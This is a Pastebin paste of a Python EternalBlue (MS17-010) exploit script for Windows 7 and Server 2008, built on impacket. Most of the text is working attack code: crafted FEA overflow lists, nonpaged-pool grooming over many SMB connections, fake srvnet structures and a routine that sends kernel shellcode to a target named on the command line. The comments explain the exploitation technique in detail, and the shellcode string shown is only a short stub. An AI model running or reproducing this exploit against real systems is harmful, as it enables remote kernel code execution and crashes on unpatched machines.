Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2019
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.53 KB | None | 0 0
  1. #!/usr/bin/python
  2. from impacket import smb
  3. from struct import pack
  4. import sys
  5. import socket
  6.  
  7. '''
  8. EternalBlue exploit for Windows 7/2008 by sleepya
  9. The exploit might FAIL and CRASH a target system (depended on what is overwritten)
  10.  
  11. Tested on:
  12. - Windows 7 SP1 x64
  13. - Windows 2008 R2 SP1 x64
  14. - Windows 7 SP1 x86
  15. - Windows 2008 SP1 x64
  16. - Windows 2008 SP1 x86
  17.  
  18. Reference:
  19. - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
  20.  
  21.  
  22. Bug detail:
  23. - For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
  24. - The exploit also use other 2 bugs (see details in BUG.txt)
  25. - Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug)
  26. - Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole)
  27. ######
  28.  
  29.  
  30. Exploit info:
  31. - I do not reverse engineer any x86 binary so I do not know about exact offset.
  32. - The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
  33. This memory page is executable on Windows 7 and Wndows 2008.
  34. - The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
  35. - The exploit trick is same as NSA exploit
  36. - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
  37. - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
  38. - See the code and comment for exploit detail.
  39.  
  40.  
  41. srvnet buffer info:
  42. - srvnet buffer contains a pointer to another struct and MDL about received buffer
  43. - Controlling MDL values results in arbitrary write
  44. - Controlling pointer to fake struct results in code execution because there is pointer to function
  45. - A srvnet buffer is created after target receiving first 4 bytes
  46. - First 4 bytes contains length of SMB message
  47. - The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
  48. - After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
  49. - SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
  50. - SrvNetCommonReceiveHandler() passes SMB message to SMB handler
  51. - If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
  52. - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
  53. - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
  54. - Memory leak is ok to be ignored
  55.  
  56.  
  57. Shellcode note:
  58. - Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL
  59. - Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL)
  60. - On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082)
  61. - IA32_LSTAR MSR scope is core/thread/unique depended on CPU model
  62. - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
  63. get call because it is called on other processors
  64. - Shellcode should be aware of double overwriting system call target address when using hijacking system call method
  65. - Then, using APC in Process context to get code execution in userland (ring 3)
  66. '''
  67.  
  68. # Note: see how to craft FEALIST in eternalblue_poc.py
  69.  
  70. # wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
  71. # the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
  72. # the size 0x11000 is used in nsa exploit. this size is more reliable.
  73. NTFEA_SIZE = 0x11000
  74. # the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page
  75.  
  76. ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde
  77.  
  78. ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20
  79. ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
  80.  
  81. ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
  82. ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
  83.  
  84. ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
  85.  
  86. '''
  87. Reverse from srvnet.sys (Win7 x64)
  88. - SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():
  89.  
  90. // for x64
  91. struct SRVNET_BUFFER {
  92. // offset from POOLHDR: 0x10
  93. USHORT flag;
  94. char pad[2];
  95. char unknown0[12];
  96. // offset from SRVNET_POOLHDR: 0x20
  97. LIST_ENTRY list;
  98. // offset from SRVNET_POOLHDR: 0x30
  99. char *pnetBuffer;
  100. DWORD netbufSize; // size of netBuffer
  101. DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information
  102. // offset from SRVNET_POOLHDR: 0x40
  103. MDL *pMdl1; // at offset 0x70
  104. DWORD nByteProcessed;
  105. DWORD pad3;
  106. // offset from SRVNET_POOLHDR: 0x50
  107. DWORD nbssSize; // size of this smb packet (from user)
  108. DWORD pad4;
  109. QWORD pSrvNetWskStruct; // want to change to fake struct address
  110. // offset from SRVNET_POOLHDR: 0x60
  111. MDL *pMdl2;
  112. QWORD unknown5;
  113. // offset from SRVNET_POOLHDR: 0x70
  114. // MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address)
  115. // MDL mdl2;
  116. // char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE
  117. // char netBuffer[0];
  118. };
  119.  
  120. struct SRVNET_POOLHDR {
  121. DWORD size;
  122. char unknown[12];
  123. SRVNET_BUFFER hdr;
  124. };
  125. '''
  126. # Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
  127. # Here is the important fields on x64
  128. # - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
  129. # The value MUST point to valid (might be fake) struct.
  130. # - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer
  131. # - 0x70 (VOID*) : MDL.Next should be NULL
  132. # - 0x78 (USHORT) : MDL.Size should be some value that not too small
  133. # - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
  134. # - 0x80 (VOID*) : MDL.Process should be NULL
  135. # - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
  136. # The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
  137. #
  138. #
  139. # To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.
  140. # Here is related field for freeing corrupted buffer
  141. # - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)
  142. # a corrupted buffer MUST not be reused.
  143. # - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
  144. # before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
  145. # your shellcode as function argument
  146. # - offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
  147. # The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
  148. # Here is x64 assembly code for setting nByteProcessed field
  149. # - fetch SRVNET_BUFFER address from function argument
  150. # \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
  151. # - set nByteProcessed for trigger free after return
  152. # \x8b\x4a\x2c mov ecx, [rdx+0x2c]
  153. # \x89\x4a\x38 mov [rdx+0x38], ecx
  154.  
  155. TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
  156. TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
  157.  
  158. fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
  159. fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
  160. fakeSrvNetBufferNsa += '\x00'*16
  161. fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
  162. fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
  163. fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
  164. fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2
  165. # below 0x20 bytes is overwritting MDL
  166. # NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough
  167. fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
  168. fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
  169.  
  170. # below is for targeting x64 only (all x86 related values are set to 0)
  171. # this is for show what fields need to be modified
  172. fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
  173. fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
  174. fakeSrvNetBufferX64 += '\x00'*16
  175. fakeSrvNetBufferX64 += '\x00'*16
  176. fakeSrvNetBufferX64 += '\x00'*16 # 0x40
  177. fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
  178. fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
  179. fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
  180. fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
  181.  
  182.  
  183. fakeSrvNetBuffer = fakeSrvNetBufferNsa
  184. #fakeSrvNetBuffer = fakeSrvNetBufferX64
  185.  
  186. feaList = pack('<I', 0x10000) # the value of feaList size MUST be >=0x10000 to trigger bug (but must be less than data size)
  187. feaList += ntfea[NTFEA_SIZE]
  188. # Note:
  189. # - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
  190. # - x64: below fea will be copy to offset 0x11000 of overflow buffer
  191. # - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
  192. feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
  193. # stop copying by invalid flag (can be any value except 0 and 0x80)
  194. feaList += pack('<BBH', 0x12, 0x34, 0x5678)
  195.  
  196.  
  197. # fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()
  198. # x64: fake struct is at ffffffff ffd00010
  199. # offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL.
  200. # offset 0x08: set to 3 (DWORD) for invoking ptr to function
  201. # offset 0x1d0: KSPIN_LOCK
  202. # offset 0x1d8: array of pointer to function
  203. #
  204. # code path to get code exection after this struct is controlled
  205. # SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
  206. fake_recv_struct = pack('<QII', 0, 3, 0)
  207. fake_recv_struct += '\x00'*16
  208. fake_recv_struct += pack('<QII', 0, 3, 0)
  209. fake_recv_struct += ('\x00'*16)*7
  210. fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
  211. fake_recv_struct += '\x00'*16
  212. fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
  213. fake_recv_struct += ('\x00'*16)*11
  214. fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
  215. fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
  216. fake_recv_struct += ('\x00'*16)*3
  217. fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
  218. fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
  219.  
  220.  
  221. def getNTStatus(self):
  222. return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
  223. setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
  224.  
  225. def sendEcho(conn, tid, data):
  226. pkt = smb.NewSMBPacket()
  227. pkt['Tid'] = tid
  228.  
  229. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
  230. transCommand['Parameters'] = smb.SMBEcho_Parameters()
  231. transCommand['Data'] = smb.SMBEcho_Data()
  232.  
  233. transCommand['Parameters']['EchoCount'] = 1
  234. transCommand['Data']['Data'] = data
  235. pkt.addCommand(transCommand)
  236.  
  237. conn.sendSMB(pkt)
  238. recvPkt = conn.recvSMB()
  239. if recvPkt.getNTStatus() == 0:
  240. print('got good ECHO response')
  241. else:
  242. print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
  243.  
  244.  
  245. def createSessionAllocNonPaged(target, size):
  246. # There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool.
  247. # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan.
  248. # The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size"
  249.  
  250. # Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data.
  251. # For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command.
  252. # - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication
  253. # - GetNtSecurityParameters() function is resposible for extracting data from this packet format
  254. # - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication
  255. # - GetExtendSecurityParameters() function is resposible for extracting data from this packet format
  256.  
  257. # These 2 formats have different WordCount (first one is 13 and later is 12).
  258. # Here is logic in BlockingSessionSetupAndX() related to this bug
  259. # - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format)
  260. # - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request
  261. # - else, process a message as NT Security request
  262.  
  263. # So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY.
  264. # With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size".
  265. # But GetExtendSecurityParameters() checks ByteCount value again.
  266.  
  267. # So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY.
  268.  
  269. conn = smb.SMB(target, target)
  270. _, flags2 = conn.get_flags()
  271. # FLAGS2_EXTENDED_SECURITY MUST not be set
  272. flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
  273. # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
  274. if size >= 0xffff:
  275. flags2 &= ~smb.SMB.FLAGS2_UNICODE
  276. reqSize = size // 2
  277. else:
  278. flags2 |= smb.SMB.FLAGS2_UNICODE
  279. reqSize = size
  280. conn.set_flags(flags2=flags2)
  281.  
  282. pkt = smb.NewSMBPacket()
  283.  
  284. sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
  285. sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
  286.  
  287. sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
  288. sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
  289. sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
  290. sessionSetup['Parameters']['SessionKey'] = 0
  291. sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
  292. # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
  293. sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags
  294.  
  295. sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
  296. pkt.addCommand(sessionSetup)
  297.  
  298. conn.sendSMB(pkt)
  299. recvPkt = conn.recvSMB()
  300. if recvPkt.getNTStatus() == 0:
  301. print('SMB1 session setup allocate nonpaged pool success')
  302. else:
  303. print('SMB1 session setup allocate nonpaged pool failed')
  304. return conn
  305.  
  306.  
  307. # Note: impacket-0.9.15 struct has no ParameterDisplacement
  308. ############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
  309. class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
  310. structure = (
  311. ('TotalParameterCount','<H=0'),
  312. ('TotalDataCount','<H'),
  313. ('ParameterCount','<H=0'),
  314. ('ParameterOffset','<H=0'),
  315. ('ParameterDisplacement','<H=0'),
  316. ('DataCount','<H'),
  317. ('DataOffset','<H'),
  318. ('DataDisplacement','<H=0'),
  319. ('FID','<H=0'),
  320. )
  321.  
  322. def send_trans2_second(conn, tid, data, displacement):
  323. pkt = smb.NewSMBPacket()
  324. pkt['Tid'] = tid
  325.  
  326. # assume no params
  327.  
  328. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
  329. transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
  330. transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
  331.  
  332. transCommand['Parameters']['TotalParameterCount'] = 0
  333. transCommand['Parameters']['TotalDataCount'] = len(data)
  334.  
  335. fixedOffset = 32+3+18
  336. transCommand['Data']['Pad1'] = ''
  337.  
  338. transCommand['Parameters']['ParameterCount'] = 0
  339. transCommand['Parameters']['ParameterOffset'] = 0
  340.  
  341. if len(data) > 0:
  342. pad2Len = (4 - fixedOffset % 4) % 4
  343. transCommand['Data']['Pad2'] = '\xFF' * pad2Len
  344. else:
  345. transCommand['Data']['Pad2'] = ''
  346. pad2Len = 0
  347.  
  348. transCommand['Parameters']['DataCount'] = len(data)
  349. transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
  350. transCommand['Parameters']['DataDisplacement'] = displacement
  351.  
  352. transCommand['Data']['Trans_Parameters'] = ''
  353. transCommand['Data']['Trans_Data'] = data
  354. pkt.addCommand(transCommand)
  355.  
  356. conn.sendSMB(pkt)
  357.  
  358.  
  359. def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
  360. # Here is another bug in MS17-010.
  361. # To call transaction subcommand, normally a client need to use correct SMB commands as documented in
  362. # https://msdn.microsoft.com/en-us/library/ee441514.aspx
  363. # If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client
  364. # can use *_SECONDARY command to send transaction message. When sending a transaction completely with
  365. # *_SECONDARY command, a server uses the last command that complete the transaction.
  366. # For example:
  367. # - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*.
  368. # - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*.
  369. #
  370. # Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same.
  371. # For example:
  372. # - a client start transaction with SMB_COM_NT_TRANSACT command
  373. # - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY
  374. # - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY
  375. # - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field)
  376.  
  377. # From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction
  378. # with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT
  379. # While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount
  380. # field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx).
  381. # Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction)
  382.  
  383. pkt = smb.NewSMBPacket()
  384. pkt['Tid'] = tid
  385.  
  386. command = pack('<H', setup)
  387.  
  388. # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
  389. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
  390. transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
  391. transCommand['Parameters']['MaxSetupCount'] = 1
  392. transCommand['Parameters']['MaxParameterCount'] = len(param)
  393. transCommand['Parameters']['MaxDataCount'] = 0
  394. transCommand['Data'] = smb.SMBTransaction2_Data()
  395.  
  396. transCommand['Parameters']['Setup'] = command
  397. transCommand['Parameters']['TotalParameterCount'] = len(param)
  398. transCommand['Parameters']['TotalDataCount'] = len(data)
  399.  
  400. fixedOffset = 32+3+38 + len(command)
  401. if len(param) > 0:
  402. padLen = (4 - fixedOffset % 4 ) % 4
  403. padBytes = '\xFF' * padLen
  404. transCommand['Data']['Pad1'] = padBytes
  405. else:
  406. transCommand['Data']['Pad1'] = ''
  407. padLen = 0
  408.  
  409. transCommand['Parameters']['ParameterCount'] = len(param)
  410. transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
  411.  
  412. if len(data) > 0:
  413. pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
  414. transCommand['Data']['Pad2'] = '\xFF' * pad2Len
  415. else:
  416. transCommand['Data']['Pad2'] = ''
  417. pad2Len = 0
  418.  
  419. transCommand['Parameters']['DataCount'] = firstDataFragmentSize
  420. transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
  421.  
  422. transCommand['Data']['Trans_Parameters'] = param
  423. transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
  424. pkt.addCommand(transCommand)
  425.  
  426. conn.sendSMB(pkt)
  427. conn.recvSMB() # must be success
  428.  
  429. # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
  430. i = firstDataFragmentSize
  431. while i < len(data):
  432. # limit data to 4096 bytes per SMB message because this size can be used for all Windows version
  433. sendSize = min(4096, len(data) - i)
  434. if len(data) - i <= 4096:
  435. if not sendLastChunk:
  436. break
  437. send_trans2_second(conn, tid, data[i:i+sendSize], i)
  438. i += sendSize
  439.  
  440. if sendLastChunk:
  441. conn.recvSMB()
  442. return i
  443.  
  444.  
  445. # connect to target and send a large nbss size with data 0x80 bytes
  446. # this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target
  447. # a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)
  448. def createConnectionWithBigSMBFirst80(target):
  449. # https://msdn.microsoft.com/en-us/library/cc246496.aspx
  450. # Above link is about SMB2, but the important here is first 4 bytes.
  451. # If using wireshark, you will see the StreamProtocolLength is NBSS length.
  452. # The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.
  453. #
  454. # After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.
  455. # srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.
  456. # Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
  457. sk = socket.create_connection((target, 445))
  458. # For this exploit, use size is 0x11000
  459. pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
  460. # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
  461. # Also this is invalid SMB2 message.
  462. # I believe NSA exploit use SMB2 for hiding alert from IDS
  463. #pkt += '\xfeSMB' # smb2
  464. # it can be anything even it is invalid
  465. pkt += 'BAAD' # can be any
  466. pkt += '\x00'*0x7c
  467. sk.send(pkt)
  468. return sk
  469.  
  470.  
  471. def exploit(target, shellcode, numGroomConn):
  472. # force using smb.SMB for SMB1
  473. conn = smb.SMB(target, target)
  474.  
  475. # can use conn.login() for ntlmv2
  476. conn.login_standard('', '')
  477. server_os = conn.get_server_os()
  478. print('Target OS: '+server_os)
  479. if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
  480. print('This exploit does not support this target')
  481. sys.exit()
  482.  
  483.  
  484. tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
  485.  
  486. # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
  487. # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
  488. progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
  489. # we have to know what size of NtFeaList will be created when last fragment is sent
  490.  
  491. # make sure server recv all payload before starting allocate big NonPaged
  492. #sendEcho(conn, tid, 'a'*12)
  493.  
  494. # create buffer size NTFEA_SIZE-0x1000 at server
  495. # this buffer MUST NOT be big enough for overflown buffer
  496. allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
  497.  
  498. # groom nonpaged pool
  499. # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
  500. srvnetConn = []
  501. for i in range(numGroomConn):
  502. sk = createConnectionWithBigSMBFirst80(target)
  503. srvnetConn.append(sk)
  504.  
  505. # create buffer size NTFEA_SIZE at server
  506. # this buffer will be replaced by overflown buffer
  507. holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
  508. # disconnect allocConn to free buffer
  509. # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
  510. allocConn.get_socket().close()
  511.  
  512. # hope one of srvnetConn is next to holeConn
  513. for i in range(5):
  514. sk = createConnectionWithBigSMBFirst80(target)
  515. srvnetConn.append(sk)
  516.  
  517. # send echo again, all new 5 srvnet buffers should be created
  518. #sendEcho(conn, tid, 'a'*12)
  519.  
  520. # remove holeConn to create hole for fea buffer
  521. holeConn.get_socket().close()
  522.  
  523. # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
  524. send_trans2_second(conn, tid, feaList[progress:], progress)
  525. recvPkt = conn.recvSMB()
  526. retStatus = recvPkt.getNTStatus()
  527. # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
  528. if retStatus == 0xc000000d:
  529. print('good response status: INVALID_PARAMETER')
  530. else:
  531. print('bad response status: 0x{:08x}'.format(retStatus))
  532.  
  533.  
  534. # one of srvnetConn struct header should be modified
  535. # a corrupted buffer will write recv data in designed memory address
  536. for sk in srvnetConn:
  537. sk.send(fake_recv_struct + shellcode)
  538.  
  539. # execute shellcode by closing srvnet connection
  540. for sk in srvnetConn:
  541. sk.close()
  542.  
  543. # nicely close connection (no need for exploit)
  544. conn.disconnect_tree(tid)
  545. conn.logoff()
  546. conn.get_socket().close()
  547.  
  548.  
  549. TARGET=sys.argv[1]
  550. numGroomConn = 13
  551.  
  552. sc = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  553.  
  554. print('shellcode size: {:d}'.format(len(sc)))
  555. print('numGroomConn: {:d}'.format(numGroomConn))
  556.  
  557. exploit(TARGET, sc, numGroomConn)
  558. print('done')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement